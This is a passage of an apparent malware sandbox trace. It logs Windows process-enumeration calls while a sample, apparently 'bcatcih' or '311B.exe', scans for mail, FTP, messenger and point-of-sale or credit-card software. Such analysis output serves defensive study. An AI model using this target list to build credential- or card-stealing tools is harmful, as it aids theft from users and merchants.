szExeFile="outlook.exe")) returned 1 [0283.700] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0283.702] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0283.704] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0283.780] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0283.783] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0283.785] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0283.786] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0283.788] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0283.790] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0283.791] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0283.793] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0283.795] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0283.796] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0283.798] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0283.800] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0283.801] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0283.803] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0283.804] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0283.806] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0283.808] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0283.809] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0283.811] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0283.812] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0283.813] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0283.815] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0283.851] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0283.853] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0283.855] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0283.856] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0283.858] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0283.859] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0283.861] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0283.862] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0283.864] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0283.865] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0283.867] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0283.868] CloseHandle (hObject=0x344) returned 1 [0283.868] Sleep (dwMilliseconds=0x64) [0283.911] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0283.923] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0283.924] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0283.975] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0283.977] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0283.978] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0283.980] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0283.981] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0283.982] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0283.983] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0283.985] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.986] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.988] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0283.989] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.991] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.992] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.993] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.995] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.996] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.998] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.999] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0284.000] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0284.002] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0284.003] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.005] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0284.006] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0284.008] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0284.009] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0284.011] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.012] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0284.013] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0284.015] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0284.016] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0284.018] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0284.080] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0284.082] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0284.083] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0284.085] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0284.086] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0284.087] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0284.089] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0284.090] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0284.091] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0284.093] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0284.094] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0284.096] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0284.105] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0284.107] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0284.108] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0284.110] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, 